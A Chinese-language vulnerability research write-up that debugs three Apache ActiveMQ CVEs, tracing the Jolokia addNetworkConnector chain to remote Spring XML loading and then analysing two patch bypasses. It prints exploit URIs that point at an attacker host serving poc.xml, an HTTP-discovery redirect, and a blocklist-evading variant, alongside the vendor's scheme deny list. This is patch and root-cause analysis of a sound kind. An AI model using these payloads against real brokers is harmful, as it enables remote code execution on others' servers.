ActiveMQ 多个CVE复现调试与分析#

调试准备#

idea支持远程调试docker容器,非常方便,vulhub中的vulhub/activemq/CVE-2026-34197/docker-compose.yml写好了5005远程调试端口,docker compose运行后,直接在idea中添加一个Remote JVM Debug,填上对应的host和port,同时下载好对应版本的源码,启动调试即可

image-20260625152800713

环境自取 https://github.com/Catherines77/ActiveMQ-CVE-ENV

CVE-2026-34197#

ActiveMQ 默认开启 Jolokia,Jolokia 会把所有 MBean 的所有方法通过 HTTP 接口暴露出来,不需要任何额外配置。漏洞出在addNetworkConnector方法,该方法在目标 broker 不存在时,会自动创建一个新 broker,创建时会解析 brokerConfig 参数 → 调用 XBeanBrokerFactory → 加载 Spring XML

image-20260626110905682

addNetworkConnector#

org.apache.activemq.broker.jmx.BrokerView#addNetworkConnector

该方法首先接收discoveryAddress参数,该参数的值就是static:(vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml)

创建connector对象,初始化,然后判断connector是否为空,注册MBean并启动该connector

public String addNetworkConnector(String discoveryAddress) throws Exception {
        NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
        if (connector == null) {
            throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
        }
        brokerService.registerNetworkConnectorMBean(connector);
        connector.start();
        return connector.getName();
    }

跟进connector.start()方法→dostart()handleStart()SimpleDiscoveryAgent.start()

onServiceAdd#

关键函数调用onServiceAdd()

public void start() throws Exception {
        taskRunner = new TaskRunnerFactory();
        taskRunner.init();

        running.set(true);
        for (int i = 0; i < services.length; i++) {
            listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
        }
    }

调试发现这里的event对象内的serviceName字段值就是我们传入的payload,String url = event.getServiceName();将payload赋给了url

image-20260626144335561

然后调用TransportFactory.connect,准备发起连接,然后调用tf.doConnect()doCompositeConnect()

doCompositeConnect#

该方法解析工厂名,主机名,uri参数,然后在SERVER中去找是否有该主机名,如果没有,就注册新的Broker,即调用方法BrokerFactory.createBroker

public Transport doCompositeConnect(URI location) throws Exception {
        URI brokerURI;
        String host;
        Map<String, String> options;
        boolean create = true;
        int waitForStart = -1;
        CompositeData data = URISupport.parseComposite(location);
        if (data.getComponents().length == 1 && "broker".equals(data.getComponents()[0].getScheme())) {
            ....
        } else {
            try {
                host = extractHost(location);
                options = URISupport.parseParameters(location);
                String config = options.remove("brokerConfig");
                if (config != null) {
                    brokerURI = new URI(config);
                } else {
                    Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
                    brokerURI = new URI("broker://()/" + host + "?"
                                        + URISupport.createQueryString(brokerOptions));
                }
                if ("false".equals(options.remove("create"))) {
                    create = false;
                }
                String waitForStartString = options.remove("waitForStart");
                if (waitForStartString != null) {
                    waitForStart = Integer.parseInt(waitForStartString);
                }
            } catch (URISyntaxException e1) {
                throw IOExceptionSupport.create(e1);
            }
            location = new URI("vm://" + host);
        }
        if (host == null) {
            host = "localhost";
        }
        VMTransportServer server = SERVERS.get(host);
        // validate the broker is still active
        if (!validateBroker(host) || server == null) {
            BrokerService broker = null;
            // Synchronize on the registry so that multiple concurrent threads
            // doing this do not think that the broker has not been created and
            // cause multiple brokers to be started.
            synchronized (BrokerRegistry.getInstance().getRegistryMutext()) {
                broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
                if (broker == null) {
                    if (!create) {
                        throw new IOException("Broker named '" + host + "' does not exist.");
                    }
                    try {
                        if (brokerFactoryHandler != null) {
                            broker = brokerFactoryHandler.createBroker(brokerURI);
                        } else {
                            broker = BrokerFactory.createBroker(brokerURI);
                        }
                        broker.start();
                        MDC.put("activemq.broker", broker.getBrokerName());
                    } catch (URISyntaxException e) {
                        throw IOExceptionSupport.create(e);
                    }
                    BROKERS.put(host, broker);
                    BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
                }

createBroker#

在创建Broker的过程中一步步跟进,可以发现调用了createApplicationContext()这个方法

public BrokerService createBroker(URI config) throws Exception {
        String uri = config.getSchemeSpecificPart();
        if (uri.lastIndexOf('?') != -1) {
            IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
            uri = uri.substring(0, uri.lastIndexOf('?'));
        }

        ApplicationContext context = createApplicationContext(uri);

        BrokerService broker = null;
        try {
            broker = (BrokerService)context.getBean("broker");
        } catch (BeansException e) {
        }
        ......

createApplicationContext#

关键在return new ResourceXmlApplicationContext(resource)ResourceXmlApplicationContext()方法会远程加载Spring XML

protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
        Resource resource = Utils.resourceFromString(uri);
        LOG.debug("Using " + resource + " from " + uri);
        try {
            return new ResourceXmlApplicationContext(resource) {
                @Override
                protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
                    reader.setValidating(isValidate());
                }
            };
        } catch (FatalBeanException errorToLog) {
            LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
            throw errorToLog;
        }
    }

主要调用栈

createApplicationContext:104, XBeanBrokerFactory (org.apache.activemq.xbean)
createBroker:67, XBeanBrokerFactory (org.apache.activemq.xbean)
createBroker:73, BrokerFactory (org.apache.activemq.broker)
createBroker:56, BrokerFactory (org.apache.activemq.broker)
doCompositeConnect:125, VMTransportFactory (org.apache.activemq.transport.vm)
doConnect:56, VMTransportFactory (org.apache.activemq.transport.vm)
connect:69, TransportFactory (org.apache.activemq.transport)
onServiceAdd:132, DiscoveryNetworkConnector (org.apache.activemq.network)
start:92, SimpleDiscoveryAgent (org.apache.activemq.transport.discovery.simple)
handleStart:218, DiscoveryNetworkConnector (org.apache.activemq.network)
doStart:59, NetworkConnector$1 (org.apache.activemq.network)
start:55, ServiceSupport (org.apache.activemq.util)
start:164, NetworkConnector (org.apache.activemq.network)
addNetworkConnector:418, BrokerView (org.apache.activemq.broker.jmx)

CVE-2026-40466#

修复方法#

6.2.3对CVE-2026-34197的修复是在addNetworkConnector方法中加入了validateAllowedUrl过滤方法,该方法会递归调用,直到只剩一个uri,validateAllowedScheme方法就是判断uri中的scheme是否为vm,如果是则直接抛出异常,CVE-2026-34197的payload是static:(vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml),经过递归调用会将uri变为vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml,导致无法通过validateAllowedScheme过滤方法,抛出异常

private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
        if (depth > 5) {
            throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
        }
        validateAllowedScheme(uri.getScheme());
        if (URISupport.isCompositeURI(uri)) {
            URISupport.CompositeData data = URISupport.parseComposite(uri);
            depth++;
            for (URI component : data.getComponents()) {
                if (URISupport.isCompositeURI(uri)) {
                    validateAllowedUri(component, depth);
                } else {
                    validateAllowedScheme(uri.getScheme());
                }
            }
        }
    }

尝试大小写绕过,行不通,严格区分大小写,拿不到vm工厂类,无法创建broker

image-20260626103528193

绕过分析#

绕过的方式是用 HTTP Discovery 协议二次跳转回 VM transport

过滤方法validateAllowedScheme无法拦截掉payloadhttp://192.168.239.129:8081/discovery-registry/default?updateInterval=1000,因为并不是vm协议,同时discoveryAgent也变成了HttpDiscoveryAgent对象(前面初始化构造函数赋值)

connector.start()方法→dostart()handleStart()HttpDiscoveryAgent.start()

跟进update()方法→doLookup(),该方法用异步线程去请求payload中的地址,

synchronized private Set<String> doLookup(long freshness) {
        String url = registryURL + "?freshness=" + freshness;
        try {
            HttpGet method = new HttpGet(url);
            ResponseHandler<String> handler = new BasicResponseHandler();
            String response = httpClient.execute(method, handler);
            LOG.debug("GET to " + url + " got a " + response);
            Set<String> rc = new HashSet<String>();
            Scanner scanner = new Scanner(response);
            while (scanner.hasNextLine()) {
                String service = scanner.nextLine();
                if (service.trim().length() != 0) {
                    rc.add(service);
                }
            }
            scanner.close();
            return rc;
        } catch (Exception e) {
            LOG.debug("GET to " + url + " failed with: " + e);
            return null;
        }
    }

调试发现返回的rc就是response的值

image-20260626162100770

回到update方法,此时activeServices的值就为vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml,然后进入if分支,创建addedServices HashSet,进入for循环,调用discoveryListener.onServiceAdd方法,这就回到了CVE-2026-34197的漏洞链,onServiceAdddoCompositeConnectcreateBrokercreateApplicationContext,造成RCE

..........

if (discoveryListener != null) {
            Set<String> activeServices = doLookup(updateInterval * 3);
            // If there is error talking the the central server, then
            // activeServices == null
            if (activeServices != null) {
                synchronized (discoveredServices) {

                    HashSet<String> removedServices = new HashSet<String>(discoveredServices.keySet());
                    removedServices.removeAll(activeServices);

                    HashSet<String> addedServices = new HashSet<String>(activeServices);
                    addedServices.removeAll(discoveredServices.keySet());
                    addedServices.removeAll(removedServices);

                    for (String service : addedServices) {
                        SimpleDiscoveryEvent e = new SimpleDiscoveryEvent(service);
                        discoveredServices.put(service, e);
                        discoveryListener.onServiceAdd(e);
                    }
...........

调用栈

createApplicationContext:104, XBeanBrokerFactory (org.apache.activemq.xbean)
createBroker:67, XBeanBrokerFactory (org.apache.activemq.xbean)
createBroker:73, BrokerFactory (org.apache.activemq.broker)
createBroker:56, BrokerFactory (org.apache.activemq.broker)
doCompositeConnect:125, VMTransportFactory (org.apache.activemq.transport.vm)
doConnect:56, VMTransportFactory (org.apache.activemq.transport.vm)
connect:69, TransportFactory (org.apache.activemq.transport)
onServiceAdd:132, DiscoveryNetworkConnector (org.apache.activemq.network)
update:309, HTTPDiscoveryAgent (org.apache.activemq.transport.discovery.http)
run:249, HTTPDiscoveryAgent$2 (org.apache.activemq.transport.discovery.http)
start:234, HTTPDiscoveryAgent (org.apache.activemq.transport.discovery.http)
handleStart:218, DiscoveryNetworkConnector (org.apache.activemq.network)
doStart:59, NetworkConnector$1 (org.apache.activemq.network)
start:55, ServiceSupport (org.apache.activemq.util)
start:164, NetworkConnector (org.apache.activemq.network)
addNetworkConnector:424, BrokerView (org.apache.activemq.broker.jmx)

CVE-2026-42588#

修复方法#

6.2.5对CVE-2026-40466的修复方法仍是validateAllowedUrl,只是增强了其协议黑名单,如下,可以看到http赫然在列,那么CVE-2026-40466的绕过方法就失效了

public static final Set<String> DENIED_TRANSPORT_SCHEMES = Set.of("vm", "http",
            "multicast", "zeroconf", "discovery", "fanout", "mock", "peer", "failover",
            "proxy", "reliable", "simple", "udp");

绕过分析#

static:vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml仔细看这个payload就会发现与34197和40466的payload不同的是,去掉了括号,使其以括号为检测的isCompositeURI函数逻辑就失效了,因此能够绕过过滤函数validateAllowedUrl

private static void validateAllowedScheme(String scheme) {
        for (String denied : DENIED_TRANSPORT_SCHEMES) {
            // The schemes should be case-insensitive but ignore case as a precaution
            if (scheme.equalsIgnoreCase(denied)) {
                throw new IllegalArgumentException("Transport scheme '" + scheme + "' is not allowed");
            }
        }
    }

首先第一层的validateAllowedScheme(uri.getScheme());无法拦住我们,因为用的是static协议,然后来到isCompositeURI方法

private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
        if (depth > 4) {
            throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
        }

        validateAllowedScheme(uri.getScheme());

        if (URISupport.isCompositeURI(uri)) {
            URISupport.CompositeData data = URISupport.parseComposite(uri);
            depth++;
            for (URI component : data.getComponents()) {
                if (URISupport.isCompositeURI(component)) {
                    validateAllowedUri(component, depth);
                } else {
                    validateAllowedScheme(component.getScheme());
                }
            }
        }
    }

getRawSchemeSpecificPart()方法获取的是协议冒号后的内容,即vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xmlstripPrefix只是检测是否以//开头,因此ssp=vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xmlssp.indexOf('(')为-1,if条件不成立,return false,直接跳过了递归调用,成功绕过了validateAllowedUrl方法

public static boolean isCompositeURI(URI uri) {
        String ssp = stripPrefix(uri.getRawSchemeSpecificPart().trim(), "//").trim();

        if (ssp.indexOf('(') == 0 && checkParenthesis(ssp)) {
            return true;
        }
        return false;
    }

但可惜的是,官方后续还在createApplicationContext方法中做了过滤,查看diff发现Utils.resourceFromString方法多了一个allowedProtocols参数

image-20260627131610511

调试过程中发现allowedProtocols集合中只有file和classpath

image-20260627132231889

我们的uri是以http开头的,isAllowFile检查过不去,进入到else if分支,然后来到validateUrlAllowed方法

public static Resource resourceFromString(String uri, Set<String> allowedProtocols) throws MalformedURLException {
        if (allowedProtocols != null && allowedProtocols.isEmpty()) {
            throw new IllegalArgumentException("No protocols are allowed for loading resources.");
        }

        final Resource resource;

        if (isAllowFile(allowedProtocols, uri) && new File(uri).exists()) {
            resource = new FileSystemResource(uri);
        } else if (ResourceUtils.isUrl(uri)) {
            try {
                validateUrlAllowed(uri, allowedProtocols);
                resource = new UrlResource(ResourceUtils.getURL(uri));
            } catch (FileNotFoundException | URISyntaxException e) {
                MalformedURLException malformedURLException = new MalformedURLException(uri);
                malformedURLException.initCause(e);
                throw malformedURLException;
            }
        } else if (isAllowClasspath(allowedProtocols)){
            resource = new ClassPathResource(uri);
        } else {
            throw new IllegalArgumentException("URL [" + uri + "] can't be found or the protocol"
                    + " is not allowed for loading resources");
        }
        return resource;
    }

detectedProtocol通过new URI(uriString).getScheme();获取到协议名为http

static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
            throws URISyntaxException {
        if (allowedProtocols != null) {
            final String detectedProtocol = getProtocolFromScheme(uriString);
            if (detectedProtocol == null) {
                throw new IllegalArgumentException("Could not detect protocol in given URI [" + uriString + "]");
            }
            if (!allowedProtocols.contains(detectedProtocol)){
                throw new IllegalArgumentException("URL [" + uriString +
                        "] uses protocol '" + detectedProtocol + "' which is not allowed "
                        + "for loading URL resources");
            }
        }
    }

而http显然不在file和classpath中,因此这里直接抛出异常,进不到return new ResourceXmlApplicationContext(resource)这个逻辑,导致无法远程加载xml

image-20260627134033817

所以CVE-2026-42588并不是能够绕过6.2.5版本远程加载xml,只是其新型的payload绕过了第一层validateAllowedUrl函数的防御,也就是40466的fix,所以总的来说,6.2.5及以上就算是一个安全版本了